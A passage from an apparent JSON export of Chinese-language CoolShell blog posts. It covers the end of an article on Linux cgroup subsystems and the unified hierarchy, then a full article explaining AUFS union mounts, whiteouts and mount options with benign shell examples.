 TID  PRIO  USER     DISK READ  DISK WRITE  SWAPIN     IO&gt;    COMMAND          \n 8128 be/4 root      973.20 K/s    0.00 B/s  0.00 % 94.41 % dd if=/de~=/dev/null...</pre>\n<h4>CGroup的子系统</h4>\n<p>好了，有了以上的感性认识我们来，我们来看看control group有哪些子系统：</p>\n<ul>\n<li>blkio — 这​​​个​​​子​​​系​​​统​​​为​​​块​​​设​​​备​​​设​​​定​​​输​​​入​​​/输​​​出​​​限​​​制​​​，比​​​如​​​物​​​理​​​设​​​备​​​（磁​​​盘​​​，固​​​态​​​硬​​​盘​​​，USB 等​​​等​​​）。</li>\n<li>cpu — 这​​​个​​​子​​​系​​​统​​​使​​​用​​​调​​​度​​​程​​​序​​​提​​​供​​​对​​​ CPU 的​​​ cgroup 任​​​务​​​访​​​问​​​。​​​</li>\n<li>cpuacct — 这​​​个​​​子​​​系​​​统​​​自​​​动​​​生​​​成​​​ cgroup 中​​​任​​​务​​​所​​​使​​​用​​​的​​​ CPU 报​​​告​​​。​​​</li>\n<li>cpuset — 这​​​个​​​子​​​系​​​统​​​为​​​ cgroup 中​​​的​​​任​​​务​​​分​​​配​​​独​​​立​​​ CPU（在​​​多​​​核​​​系​​​统​​​）和​​​内​​​存​​​节​​​点​​​。​​​</li>\n<li>devices — 这​​​个​​​子​​​系​​​统​​​可​​​允​​​许​​​或​​​者​​​拒​​​绝​​​ cgroup 中​​​的​​​任​​​务​​​访​​​问​​​设​​​备​​​。​​​</li>\n<li>freezer — 这​​​个​​​子​​​系​​​统​​​挂​​​起​​​或​​​者​​​恢​​​复​​​ cgroup 中​​​的​​​任​​​务​​​。​​​</li>\n<li>memory — 这​​​个​​​子​​​系​​​统​​​设​​​定​​​ cgroup 中​​​任​​​务​​​使​​​用​​​的​​​内​​​存​​​限​​​制​​​，并​​​自​​​动​​​生​​​成​​​​​内​​​存​​​资​​​源使用​​​报​​​告​​​。​​​</li>\n<li>net_cls — 这​​​个​​​子​​​系​​​统​​​使​​​用​​​等​​​级​​​识​​​别​​​符​​​（classid）标​​​记​​​网​​​络​​​数​​​据​​​包​​​，可​​​允​​​许​​​ Linux 流​​​量​​​控​​​制​​​程​​​序​​​（tc）识​​​别​​​从​​​具​​​体​​​ cgroup 中​​​生​​​成​​​的​​​数​​​据​​​包​​​。​​​</li>\n<li>net_prio — 这个子系统用来设计网络流量的优先级</li>\n<li>hugetlb — 这个子系统主要针对于HugeTLB系统进行限制，这是一个大页文件系统。</li>\n<p>​​​</p></ul>\n<p>注意，你可能在Ubuntu 14.04下看不到net_cls和net_prio这两个cgroup，你需要手动mount一下：</p>\n<pre class=\"EnlighterJSRAW\">$ sudo modprobe cls_cgroup\n$ sudo mkdir /sys/fs/cgroup/net_cls\n$ sudo mount -t cgroup -o net_cls none /sys/fs/cgroup/net_cls\n\n$ sudo modprobe netprio_cgroup\n$ sudo mkdir /sys/fs/cgroup/net_prio\n$ sudo mount -t cgroup -o net_prio none /sys/fs/cgroup/net_prio</pre>\n<p>关于各个子系统的参数细节，以及更多的Linux CGroup的文档，你可以看看下面的文档：</p>\n<ul>\n<li><a href=\"https://www.kernel.org/doc/Documentation/cgroups/\" target=\"_blank\">Linux Kernel的官方文档</a></li>\n<li><a href=\"https://access.redhat.com/documentation/zh-CN/Red_Hat_Enterprise_Linux/6/html-single/Resource_Management_Guide/index.html#ch-Subsystems_and_Tunable_Parameters\" target=\"_blank\">Redhat的官方文档</a></li>\n</ul>\n<h4>CGroup的术语</h4>\n<p>CGroup有下述术语：</p>\n<ul>\n<li><strong>任务（Tasks）</strong>：就是系统的一个进程。</li>\n<li><strong>控制组（Control Group）</strong>：一组按照某种标准划分的进程，比如官方文档中的Professor和Student，或是WWW和System之类的，其表示了某进程组。Cgroups中的资源控制都是以控制组为单位实现。一个进程可以加入到某个控制组。而资源的限制是定义在这个组上，就像上面示例中我用的haoel一样。简单点说，cgroup的呈现就是一个目录带一系列的可配置文件。</li>\n<li><strong>层级（Hierarchy）</strong>：控制组可以组织成hierarchical的形式，既一颗控制组的树（目录结构）。控制组树上的子节点继承父结点的属性。简单点说，hierarchy就是在一个或多个子系统上的cgroups目录树。</li>\n<li><strong>子系统（Subsystem）</strong>：一个子系统就是一个资源控制器，比如CPU子系统就是控制CPU时间分配的一个控制器。子系统必须附加到一个层级上才能起作用，一个子系统附加到某个层级以后，这个层级上的所有控制族群都受到这个子系统的控制。Cgroup的子系统可以有很多，也在不断增加中。</li>\n</ul>\n<h4>下一代的CGroup</h4>\n<p>上面，我们可以看到，CGroup的一些常用方法和相关的术语。一般来说，这样的设计在一般情况下还是没什么问题的，除了操作上的用户体验不是很好，但基本满足我们的一般需求了。</p>\n<p>不过，对此，有个叫Tejun Heo的同学非常不爽，他在Linux社区里<a href=\"https://lwn.net/Articles/484254/\" target=\"_blank\">对cgroup吐了一把槽</a>，还引发了内核组的各种讨论。</p>\n<p>对于Tejun Heo同学来说，cgroup设计的相当糟糕。他给出了些例子，大意就是说，如果有多种层级关系，也就是说有多种对进程的分类方式，比如，我们可以按用户来分，分成Professor和Student，同时，也有按应用类似来分的，比如WWW和NFS等。那么，当一个进程即是Professor的，也是WWW的，那么就会出现多层级正交的情况，从而出现对进程上管理的混乱。另外，一个case是，如果有一个层级A绑定cpu，而层级B绑定memory，还有一个层级C绑定cputset，而有一些进程有的需要AB，有的需要AC，有的需要ABC，管理起来就相当不易。 </p>\n<p>层级操作起来比较麻烦，而且如果层级变多，更不易于操作和管理，虽然那种方式很好实现，但是在使用上有很多的复杂度。你可以想像一个图书馆的图书分类问题，你可以有各种不同的分类，分类和图书就是一种多对多的关系。</p>\n<p>所以，在Kernel 3.16后，引入了<a href=\"http://lwn.net/Articles/601840/\" target=\"_blank\">unified hierarchy</a>的新的设计，这个东西引入了一个叫<strong>__DEVEL__sane_behavior</strong>的特性（这个名字很明显意味目前还在开发试验阶段），它可以把所有子系统都挂载到根层级下，只有叶子节点可以存在tasks，非叶子节点只进行资源控制。</p>\n<p>我们mount一下看看：</p>\n<pre class=\"EnlighterJSRAW\">$ sudo mount -t cgroup -o __DEVEL__sane_behavior cgroup ./cgroup\n\n$ ls ./cgroup\ncgroup.controllers  cgroup.procs  cgroup.sane_behavior  cgroup.subtree_control \n\n$ cat ./cgroup/cgroup.controllers\ncpuset cpu cpuacct memory devices freezer net_cls blkio perf_event net_prio hugetlb</pre>\n<p>我们可以看到有四个文件，然后，你在这里mkdir一个子目录，里面也会有这四个文件。<strong>上级的cgroup.subtree_control控制下级的cgroup.controllers。</strong></p>\n<p>举个例子：假设我们有以下的目录结构，b代表blkio，m代码memory，其中，A是root，包括所有的子系统（）。</p>\n<pre class=\"EnlighterJSRAW\">\n# A(b,m) - B(b,m) - C (b)\n#               \\ - D (b) - E\n\n# 下面的命令中， +表示enable， -表示disable\n\n# 在B上的enable blkio\n# echo +blkio &gt; A/cgroup.subtree_control\n\n# 在C和D上enable blkio \n# echo +blkio &gt; A/B/cgroup.subtree_control\n\n# 在B上enable memory  \n# echo +memory &gt; A/cgroup.subtree_control</pre>\n<p>在上述的结构中，</p>\n<ul>\n<li>cgroup只有上线控制下级，无法传递到下下级。所以，C和D中没有memory的限制，E中没有blkio和memory的限制。而本层的cgroup.controllers文件是个只读的，其中的内容就看上级的subtree_control里有什么了。</li>\n<li><strong>任何被配置过subtree_control的目录都不能绑定进程，根结点除外</strong>。所以，A,C,D,E可以绑上进程，但是B不行。</li>\n</ul>\n<p>我们可以看到，<strong>这种方式干净的区分开了两个事，一个是进程的分组，一个是对分组的资源控制</strong>（以前这两个事完全混在一起），在目录继承上增加了些限制，这样可以避免一些模棱两可的情况。</p>\n<p>当然，这个事还在演化中，cgroup的这些问题这个事目前由cgroup的吐槽人Tejun Heo和华为的Li Zefan同学负责解决中。总之，这是一个系统管理上的问题，而且改变会影响很多东西，但一旦方案确定，老的cgroup方式将一去不复返。</p>\n<h4>参考</h4>\n<ul>\n<li><a href=\"https://www.kernel.org/doc/Documentation/cgroups/\" target=\"_blank\">Linux Kernel Cgroup Documents</a></li>\n<li><a href=\"https://access.redhat.com/documentation/zh-CN/Red_Hat_Enterprise_Linux/6/html-single/Resource_Management_Guide/index.html\" target=\"_blank\">Reahat Resource Management Guide</a></li>\n<li><a href=\"https://lwn.net/Articles/484251/\" target=\"_blank\">Fixing control groups</a></li>\n<li><a href=\"http://lwn.net/Articles/601840/\" target=\"_blank\">The unified control group hierarchy in 3.16</a></li>\n<li><a href=\"http://events.linuxfoundation.org/sites/events/files/slides/2014-KLF.pdf\" target=\"_blank\">Cgroup v2(PDF)</a></li>\n</ul>\n<p>（全文完）<br/>\n<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17200.html\"><img alt=\"Docker基础技术：DeviceMapper\" height=\"150\" src=\"../wp-content/uploads/2015/08/how_to_set_up_an_iSCSI_LUN_with_thin-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17200.html\">Docker基础技术：DeviceMapper</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17061.html\"><img alt=\"Docker基础技术：AUFS\" height=\"150\" src=\"../wp-content/uploads/2015/08/docker-filesystems-busyboxrw-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17061.html\">Docker基础技术：AUFS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17010.html\"><img alt=\"Docker基础技术：Linux Namespace（上）\" height=\"150\" src=\"../wp-content/uploads/2015/04/isolation-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17010.html\">Docker基础技术：Linux Namespace（上）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17029.html\"><img alt=\"Docker基础技术：Linux Namespace（下）\" height=\"150\" src=\"../wp-content/uploads/2015/04/jail_cell-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17029.html\">Docker基础技术：Linux Namespace（下）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17049.html\">Docker基础技术：Linux CGroup</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2015-8-24 Docker基础技术：AUFS.html",
    "content": "<html><body><p><a href=\"https://coolshell.cn/wp-content/uploads/2015/08/docker-filesystems-busyboxrw.png\"><img alt=\"docker-filesystems-busyboxrw\" class=\"alignright size-medium wp-image-17194\" height=\"225\" src=\"../wp-content/uploads/2015/08/docker-filesystems-busyboxrw-300x225.png\" width=\"300\"/></a>AUFS是一种Union File System，所谓UnionFS就是把不同物理位置的目录合并mount到同一个目录中。UnionFS的一个最主要的应用是，把一张CD/DVD和一个硬盘目录给联合 mount在一起，然后，你就可以对这个只读的CD/DVD上的文件进行修改（当然，修改的文件存于硬盘上的目录里）。</p>\n<p>AUFS又叫Another UnionFS，后来叫Alternative UnionFS，后来可能觉得不够霸气，叫成Advance UnionFS。是个叫Junjiro Okajima（岡島順治郎）在2006年开发的，AUFS完全重写了早期的UnionFS 1.x，其主要目的是为了可靠性和性能，并且引入了一些新的功能，比如可写分支的负载均衡。AUFS在使用上全兼容UnionFS，而且比之前的UnionFS在稳定性和性能上都要好很多，后来的UnionFS 2.x开始抄AUFS中的功能。但是他居然没有进到Linux主干里，就是因为Linus不让，基本上是因为代码量比较多，而且写得烂（相对于只有3000行的union mount和10000行的UnionFS，以及其它平均下来只有6000行代码左右的VFS，AUFS居然有30000行代码），所以，岡島不断地改进代码质量，不断地提交，不断地被Linus拒掉，所以，到今天AUFS都还进不了Linux主干（今天你可以看到AUFS的代码其实还好了，比起OpenSSL好N倍，要么就是Linus对代码的质量要求非常高，要么就是Linus就是不喜欢AUFS）。</p>\n<p>不过，好在有很多发行版都用了AUFS，比如：Ubuntu 10.04，Debian6.0, Gentoo Live CD支持AUFS，所以，也OK了。</p>\n<p>好了，扯完这些闲话，我们还是看一个示例吧（环境：Ubuntu 14.04）</p>\n<p><span id=\"more-17061\"></span></p>\n<p>首先，我们建上两个目录（水果和蔬菜），并在这两个目录中放上一些文件，水果中有苹果和蕃茄，蔬菜有胡萝卜和蕃茄。</p>\n<pre class=\"EnlighterJSRAW\">$ tree\n.\n├── fruits\n│   ├── apple\n│   └── tomato\n└── vegetables\n    ├── carrots\n    └── tomato\n\n</pre>\n<p>然后，我们输入以下命令：</p>\n<pre class=\"EnlighterJSRAW\"># 创建一个mount目录\n$ mkdir mnt\n\n# 把水果目录和蔬菜目录union mount到 ./mnt目录中\n$ sudo mount -t aufs -o dirs=./fruits:./vegetables none ./mnt\n\n#  查看./mnt目录\n$ tree ./mnt\n./mnt\n├── apple\n├── carrots\n└── tomato</pre>\n<p>我们可以看到在./mnt目录下有三个文件，苹果apple、胡萝卜carrots和蕃茄tomato。水果和蔬菜的目录被union到了./mnt目录下了。</p>\n<p>我们来修改一下其中的文件内容：</p>\n<pre class=\"EnlighterJSRAW\">$ echo mnt &gt; ./mnt/apple\n$ cat ./mnt/apple\nmnt\n$ cat ./fruits/apple\nmnt</pre>\n<p>上面的示例，我们可以看到./mnt/apple的内容改了，./fruits/apple的内容也改了。</p>\n<pre class=\"EnlighterJSRAW\">$ echo mnt_carrots &gt; ./mnt/carrots\n$ cat ./vegetables/carrots \n\n$ cat ./fruits/carrots\nmnt_carrots\n</pre>\n<p>上面的示例，我们可以看到，我们修改了./mnt/carrots的文件内容，./vegetables/carrots并没有变化，反而是./fruits/carrots的目录中出现了carrots文件，其内容是我们在./mnt/carrots里的内容。</p>\n<p>也就是说，我们在mount aufs命令中，我们没有指它vegetables和fruits的目录权限，默认上来说，命令行上第一个（最左边）的目录是可读可写的，后面的全都是只读的。（一般来说，最前面的目录应该是可写的，而后面的都应该是只读的）</p>\n<p>所以，如果我们像下面这样指定权限来mount aufs，你就会发现有不一样的效果（记得先把上面./fruits/carrots的文件删除了）：</p>\n<pre class=\"EnlighterJSRAW\">$ sudo mount -t aufs -o dirs=./fruits=rw:./vegetables=rw none ./mnt\n\n$ echo \"mnt_carrots\" &gt; ./mnt/carrots \n\n$ cat ./vegetables/carrots\nmnt_carrots\n\n$ cat ./fruits/carrots\ncat: ./fruits/carrots: No such file or directory</pre>\n<p>现在，在这情况下，如果我们要修改./mnt/tomato这个文件，那么究竟是哪个文件会被改写？</p>\n<pre class=\"EnlighterJSRAW\">$ echo \"mnt_tomato\" &gt; ./mnt/tomato \n\n$ cat ./fruits/tomato\nmnt_tomato\n\n$ cat ./vegetables/tomato\nI am a vegetable</pre>\n<p>可见，如果有重复的文件名，在mount命令行上，越往前的就优先级越高。</p>\n<p>你可以用这个例子做一些各种各样的试验，我这里主要是给大家一个感性认识，就不展开试验下去了。</p>\n<p>那么，这种UnionFS有什么用？</p>\n<p>历史上，有一个叫<a href=\"http://zh.wikipedia.org/wiki/Knoppix\" target=\"_blank\">Knoppix的Linux发行版</a>，其主要用于Linux演示、光盘教学、系统急救，以及商业产品的演示，不需要硬盘安装，直接把CD/DVD上的image运行在一个可写的存储设备上（比如一个U盘上），其实，也就是把CD/DVD这个文件系统和USB这个可写的系统给联合mount起来，这样你对CD/DVD上的image做的任何改动都会在被应用在U盘上，于是乎，你可以对CD/DVD上的内容进行任意的修改，因为改动都在U盘上，所以你改不坏原来的东西。</p>\n<p>我们可以再发挥一下想像力，你也可以把一个目录，比如你的源代码，作为一个只读的template，和另一个你的working directory给union在一起，然后你就可以做各种修改而不用害怕会把源代码改坏了。有点像一个ad hoc snapshot。</p>\n<p>Docker把UnionFS的想像力发挥到了容器的镜像。你是否还记得我在<a href=\"https://coolshell.cn/articles/17010.html\" target=\"_blank\" title=\"Docker基础技术：Linux Namespace（上）\">介绍Linux Namespace上篇</a>中用mount namespace和chroot山寨了一镜像。现在当你看过了这个UnionFS的技术后，你是不是就明白了，你完全可以用UnionFS这样的技术做出分层的镜像来。</p>\n<p>下图来自Docker的官方文档<a href=\"http://docs.docker.com/terms/layer/\" target=\"_blank\">Layer</a>，其很好的展示了Docker用UnionFS搭建的分层镜像。</p>\n<p><img alt=\"docker-filesystems-multilayer\" class=\"aligncenter size-full wp-image-17064\" height=\"375\" src=\"../wp-content/uploads/2015/04/docker-filesystems-multilayer.png\" width=\"500\"/></p>\n<p>关于docker的分层镜像，除了aufs，docker还支持btrfs, devicemapper和vfs，你可以使用 -s 或 –storage-driver= 选项来指定相关的镜像存储。在Ubuntu 14.04下，docker默认Ubuntu的 aufs（在CentOS7下，用的是devicemapper，关于devicemapper，我会以以后的文章中讲解）你可以在下面的目录中查看相关的每个层的镜像：</p>\n<p><code class=\"EnlighterJSRAW\">/var/lib/docker/aufs/diff/&lt;id&gt; </code></p>\n<p>在docker执行起来后（比如：docker run -it ubuntu /bin/bash ），你可以从/sys/fs/aufs/si_[id]目录下查看aufs的mount的情况，下面是个示例：</p>\n<pre class=\"EnlighterJSRAW\">#ls /sys/fs/aufs/si_b71b209f85ff8e75/\nbr0      br2      br4      br6      brid1    brid3    brid5    xi_path\nbr1      br3      br5      brid0    brid2    brid4    brid6 \n\n# cat /sys/fs/aufs/si_b71b209f85ff8e75/*\n/var/lib/docker/aufs/diff/87315f1367e5703f599168d1e17528a0500bd2e2df7d2fe2aaf9595f3697dbd7=rw\n/var/lib/docker/aufs/diff/87315f1367e5703f599168d1e17528a0500bd2e2df7d2fe2aaf9595f3697dbd7-init=ro+wh\n/var/lib/docker/aufs/diff/d0955f21bf24f5bfffd32d2d0bb669d0564701c271bc3dfc64cfc5adfdec2d07=ro+wh\n/var/lib/docker/aufs/diff/9fec74352904baf5ab5237caa39a84b0af5c593dc7cc08839e2ba65193024507=ro+wh\n/var/lib/docker/aufs/diff/a1a958a248181c9aa6413848cd67646e5afb9797f1a3da5995c7a636f050f537=ro+wh\n/var/lib/docker/aufs/diff/f3c84ac3a0533f691c9fea4cc2ceaaf43baec22bf8d6a479e069f6d814be9b86=ro+wh\n/var/lib/docker/aufs/diff/511136ea3c5a64f264b78b5433614aec563103b4d4702f3ba7d4d2698e22c158=ro+wh\n64\n65\n66\n67\n68\n69\n70\n/run/shm/aufs.xino</pre>\n<p>你会看到只有最顶上的层（branch）是rw权限，其它的都是ro+wh权限只读的。</p>\n<p>关于docker的aufs的配置，你可以在/var/lib/docker/repositories-aufs这个文件中看到。</p>\n<h4>AUFS的一些特性</h4>\n<p>AUFS有所有Union FS的特性，把多个目录，合并成同一个目录，并可以为每个需要合并的目录指定相应的权限，实时的添加、删除、修改已经被mount好的目录。而且，他还能在多个可写的branch/dir间进行负载均衡。</p>\n<p>上面的例子，我们已经看到AUFS的mount的示例了。下面我们来看一看被union的目录（分支）的相关权限：</p>\n<ul>\n<li>rw表示可写可读read-write。</li>\n<li>ro表示read-only，如果你不指权限，那么除了第一个外ro是默认值，对于ro分支，其永远不会收到写操作，也不会收到查找whiteout的操作。</li>\n<li>rr表示real-read-only，与read-only不同的是，rr标记的是天生就是只读的分支，这样，AUFS可以提高性能，比如不再设置inotify来检查文件变动通知。</li>\n</ul>\n<p>权限中，我们看到了一个术语：whiteout，下面我来解释一下这个术语。</p>\n<p>一般来说ro的分支都会有wh的属性，比如 “[dir]=ro+wh”。所谓whiteout的意思，如果在union中删除的某个文件，实际上是位于一个readonly的分支（目录）上，那么，在mount的union这个目录中你将看不到这个文件，但是read-only这个层上我们无法做任何的修改，所以，我们就需要对这个readonly目录里的文件作whiteout。AUFS的whiteout的实现是通过在上层的可写的目录下建立对应的whiteout隐藏文件来实现的。</p>\n<p>看个例子：</p>\n<p>假设我们有三个目录和文件如下所示（test是个空目录）：</p>\n<pre class=\"EnlighterJSRAW\"># tree\n.\n├── fruits\n│   ├── apple\n│   └── tomato\n├── test\n└── vegetables\n    ├── carrots\n    └── tomato</pre>\n<p>我们如下mount：</p>\n<pre class=\"EnlighterJSRAW\"># mkdir mnt\n\n# mount -t aufs -o dirs=./test=rw:./fruits=ro:./vegetables=ro none ./mnt\n\n# # ls ./mnt/\napple  carrots  tomato </pre>\n<p>现在我们在权限为rw的test目录下建个whiteout的隐藏文件.wh.apple，你就会发现./mnt/apple这个文件就消失了:</p>\n<pre class=\"EnlighterJSRAW\"> # touch ./test/.wh.apple\n\n# ls ./mnt\ncarrots  tomato</pre>\n<p>上面这个操作和 rm ./mnt/apple是一样的。</p>\n<h5>相关术语</h5>\n<p>š<b>Branch</b> – 就是各个要被union起来的目录（就是我在上面使用的dirs的命令行参数）</p>\n<ul>\n<li>šBranch根据被union的顺序形成一个stack，一般来说最上面的是可写的，下面的都是只读的。</li>\n<li>šBranch的stack可以在被mount后进行修改，比如：修改顺序，加入新的branch，或是删除其中的branch，或是直接修改branch的权限</li>\n</ul>\n<p>š<b>Whiteout</b> 和 <b>Opaque</b></p>\n<ul>\n<li>š如果UnionFS中的某个目录被删除了，那么就应该不可见了，就算是在底层的branch中还有这个目录，那也应该不可见了。</li>\n</ul>\n<ul>\n<li>šWhiteout就是某个上层目录覆盖了下层的相同名字的目录。用于隐藏低层分支的文件，也用于阻止readdir进入低层分支。</li>\n</ul>\n<ul>\n<li>šOpaque的意思就是不允许任何下层的某个目录显示出来。</li>\n</ul>\n<ul>\n<li>š在隐藏低层档的情况下，whiteout的名字是’.wh.&lt;filename&gt;’。</li>\n</ul>\n<ul>\n<li>š在阻止readdir的情况下，名字是’.wh..wh..opq’或者 ’.wh.__dir_opaque’。</li>\n</ul>\n<h5>相关问题</h5>\n<p>看到上面这些，你一定会有几个问题：</p>\n<p><strong>其一、你可能会问，要有文件在原来的地方被修改了会怎么样？</strong>mount的目录会一起改变吗？答案是会的，也可以是不会的。因为你可以指定一个叫udba的参数（全称：User’s Direct Branch Access），这个参数有三个取值：</p>\n<ul>\n<li><strong>udba=none</strong> – 设置上这个参数后，AUFS会运转的更快，因为那些不在mount目录里发生的修改，aufs不会同步过来了，所以会有数据出错的问题。</li>\n<li><strong>udba=reval</strong> – 设置上这个参数后，AUFS会去查文件有没有被更新，如果有的话，就会把修改拉到mount目录内。</li>\n<li><strong>udba=notify</strong> – 这个参数会让AUFS为所有的branch注册inotify，这样可以让AUFS在更新文件修改的性能更高一些。</li>\n</ul>\n<p><strong>其二、如果有多个rw的branch（目录）被union起来了，那么，当我创建文件的时候，aufs会创建在哪里呢？</strong> aufs提供了一个叫create的参数可以供你来配置相当的创建策略，下面有几个例子。</p>\n<p><strong>create=rr | round−robin</strong> 轮询。下面的示例可以看到，新创建的文件轮流写到三个目录中</p>\n<pre class=\"EnlighterJSRAW\">\nhchen$ sudo mount -t aufs  -o dirs=./1=rw:./2=rw:./3=rw -o create=rr none ./mnt\nhchen$ touch ./mnt/a ./mnt/b ./mnt/c\nhchen$ tree\n.\n├── 1\n│   └── a\n├── 2\n│   └── c\n└── 3\n    └── b</pre>\n<p><strong>create=mfs[:second] | most−free−space[:second]</strong> 选一个可用空间最好的分支。可以指定一个检查可用磁盘空间的时间。</p>\n<p><strong>create=mfsrr:low[:second]</strong> 选一个空间大于low的branch，如果空间小于low了，那么aufs会使用 round-robin 方式。</p>\n<p>更多的关于AUFS的细节使用参数，大家可以直接在Ubuntu 14.04下通过<a href=\"http://aufs.sourceforge.net/aufs3/man.html\" target=\"_blank\"> man aufs </a>来看一下其中的各种参数和命令。</p>\n<h4>AUFS的性能</h4>\n<p>AUFS的性能慢吗？也慢也不慢。因为AUFS会把所有的分支mount起来，所以，在查找文件上是比较慢了。因为它要遍历所有的branch。是个O(n)的算法（很明显，这个算法有很大的改进空间的）所以，branch越多，查找文件的性能也就越慢。但是，一旦AUFS找到了这个文件的inode，那后以后的读写和操作原文件基本上是一样的。</p>\n<p>所以，如果你的程序跑在在AUFS下，open和stat操作会有明显的性能下降，branch越多，性能越差，但是在write/read操作上，性能没有什么变化。</p>\n<p>IBM的研究中心对Docker的性能给了一份非常不错的性能报告（PDF）《<a href=\"http://domino.research.ibm.com/library/cyberdig.nsf/papers/0929052195DD819C85257D2300681E7B/$File/rc25482.pdf\" target=\"_blank\">An Updated Performance Comparison of Virtual Machinesand Linux Containers</a>》</p>\n<p>我截了两张图出来，第一张是顺序读写，第二张是随机读写。基本没有什么性能损失的问题。而KVM在随机读写的情况也就有点慢了（但是，如果硬盘是SSD的呢？）</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2015/08/docker.seq_.jpg\"><img alt=\"\" class=\"aligncenter size-full wp-image-17191\" height=\"256\" src=\"../wp-content/uploads/2015/08/docker.seq_.jpg\" width=\"368\"/></a></p>\n<p> </p>\n<p style=\"text-align: center;\"><strong>顺序读写</strong></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2015/08/docker.rand_.jpg\"><img alt=\"\" class=\"aligncenter size-full wp-image-17190\" height=\"236\" src=\"../wp-content/uploads/2015/08/docker.rand_.jpg\" width=\"363\"/></a></p>\n<p> </p>\n<p style=\"text-align: center;\"><strong>随机读写</strong></p>\n<h4>延伸阅读</h4>\n<ul>\n<li><a href=\"http://www.linuxjournal.com/article/7714\" target=\"_blank\">Introduce UnionFS</a></li>\n<li><a href=\"http://lwn.net/Articles/325369/\" target=\"_blank\">Union file systems: Implementations, part I</a></li>\n<li><a href=\"http://lwn.net/Articles/327738/\" target=\"_blank\">Union file systems: Implementations, part 2</a></li>\n<li><a href=\"http://lwn.net/Articles/403012/\" target=\"_blank\">Another union filesystem approach</a></li>\n<li><a href=\"http://lwn.net/Articles/324291/\" target=\"_blank\">Unioning file systems: Architecture, features, and design choices</a></li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17200.html\"><img alt=\"Docker基础技术：DeviceMapper\" height=\"150\" src=\"../wp-content/uploads/2015/08/how_to_set_up_an_iSCSI_LUN_with_thin-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17200.html\">Docker基础技术：DeviceMapper</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17049.html\"><img alt=\"Docker基础技术：Linux CGroup\" height=\"150\" src=\"../wp-content/uploads/2015/04/filter-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17049.html\">Docker基础技术：Linux CGroup</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17010.html\"><img alt=\"Docker基础技术：Linux Namespace（上）\" height=\"150\" src=\"../wp-content/uploads/2015/04/isolation-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17010.html\">Docker基础技术：Linux Namespace（上）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17029.html\"><img alt=\"Docker基础技术：Linux Namespace（下）\" height=\"150\" 